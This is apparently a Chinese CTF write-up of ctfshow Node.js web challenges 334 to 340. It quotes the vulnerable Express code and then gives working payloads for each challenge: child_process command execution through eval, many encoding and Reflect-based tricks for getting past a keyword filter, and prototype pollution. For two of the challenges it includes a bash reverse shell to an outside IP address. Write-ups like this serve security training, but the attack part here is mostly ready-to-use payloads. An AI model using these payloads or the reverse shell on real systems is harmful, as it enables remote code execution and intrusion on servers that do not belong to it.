ctfshow nodejs
web334
login.js:
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
直接用user.js的密码登陆就有flag,但是ctfshow要小写,看var findUser = function(name, password)逻辑即可知道
web335
直接F12,看到有个eval路由,直接远程任意代码执行
require('child_process').execSync('ls /').toString()
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
直接命令执行拿flag
web336
参考bypass关键字的链接https://www.anquanke.com/post/id/237032
看源码和上题一样,但是过滤了一些东西
require( 'child_process' ).spawnSync( 'env' ).stdout.toString()
bypass关键字小技巧
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
16进制编码绕过:
require("child_process")["exe\x63Sync"]("env")
unicode编码绕过
require("child_process")["exe\u0063Sync"]("env")
加号拼接绕过,+必须进行urlencode才行
require(%22child_process%22)[%22exe%22%2B%22cSync%22](%22env%22)
模板字符串
require('child_process')[`${`${`exe`}cSync`}`]('env')
concat连接
require("child_process")["exe".concat("cSync")]("env")
base64编码绕过
eval(Buffer.from('Z2xvYmFscHJvY2Vzc21haW5Nb2R1bGVjb25zdHJ1Y3RvcmxvYWRjaGlsZHByb2Nlc3NleGVjU3luY2VudkE9PQ==').toString())
特殊字符进行bypass:
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
其他bypass技巧:
获取Obeject.keys:
利用require导入一个模块Object,所以就可以用
Object中的方法来操作获取内容。利用
Object.values就可以拿到
child_process中的各个函数方法,再通过数组下标就可以拿到
execSync
console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('env')
Reflect:
在js中,需要使用Reflect
这个关键字来实现反射调用函数的方式。譬如要得到eval
函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval
console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval
直接rce就可以了
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("dir")')
过滤中括号的情况
在3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕
Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于
target[name]。
所以取eval函数的方式可以变成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
然后正常拼接命令就可以
NepCTF-gamejs
这个题目第一步是一个原型链污染,第二步是一个eval
的命令执行,因为本文主要探讨一下eval的bypass方式,所以去掉原型链污染,只谈后半段bypass,代码简化后如下:
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
code = req.body.code;
console.log(code);
if (!validCode(code)) {
res.send("forbidden!")
} else {
var d = '(' + code + ')';
res.send(eval(d));
}
})
app.listen(3000)
由于关键字过滤掉了单双引号,这里可以全部换成反引号。没有过滤掉Reflect
,考虑用反射调用函数实现RCE。利用上面提到的几点,逐步构造一个非预期的payload。首先,由于过滤了child_process
还有require
关键字,我想到的是base64编码一下再执行
eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())
这里过滤了base64
,可以直接换成
`base`.concat(64)
过滤掉了Buffer
,可以换成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))
要拿到Buffer.from
方法,可以通过下标
Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]
但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)
所以基本payload变成
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()
但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())
在能拿到Buffer.from
的情况下,用16进制编码也一样.
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString())
当然,由于前面提到的16进制和字符串的特性,也可以拿到eval后直接传16进制字符串
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)
感觉nodejs中对字符串的处理方式太灵活了,如果能eval的地方,最好还是不要用字符串黑名单做过滤吧。
web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
直接用数组进行bypass即可
/?a[]=&b[]=
web 338
关键代码:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
copy函数导致原型链污染,直接打就可以了
{"__proto__":{"ctfshow":"36dboy"}}
web 339
关键代码:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag); // flag
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
我们可以看见上述copy函数存在原型链污染,但是我们不知道flag的值是多少,而我们看到比上一题多了一个api.js路由,我们用gpt给我做了一下分析,发现如果我们污染query的值,可以动态创建函数,然后POST请求造成任意代码执行
首先在login路由进行污染,然后再api路由进行触发就行
https://xz.aliyun.com/t/7184?time__1311=n4%2BxnD0GDtKx9lFD%2FiT4BKeAKitYGODmOkqmDWD
{"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/36.134.31.124/7777 0>&1\"')"}}
web 340
关键代码:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){ //
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
依然是原型链污染,但是和上次相比需要往上找两次才能污染,因为这次是user.userinfo参与的污染,只有往上找两次才能找到原有属性值进行修改
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/36.134.31.124/7777 0>&1\"')"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(query)
先/login下POST内容,然后再api路由下接受反弹shell
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/36.134.31.124/7777 0>&1\"')"}}}
web341
剩下的每天补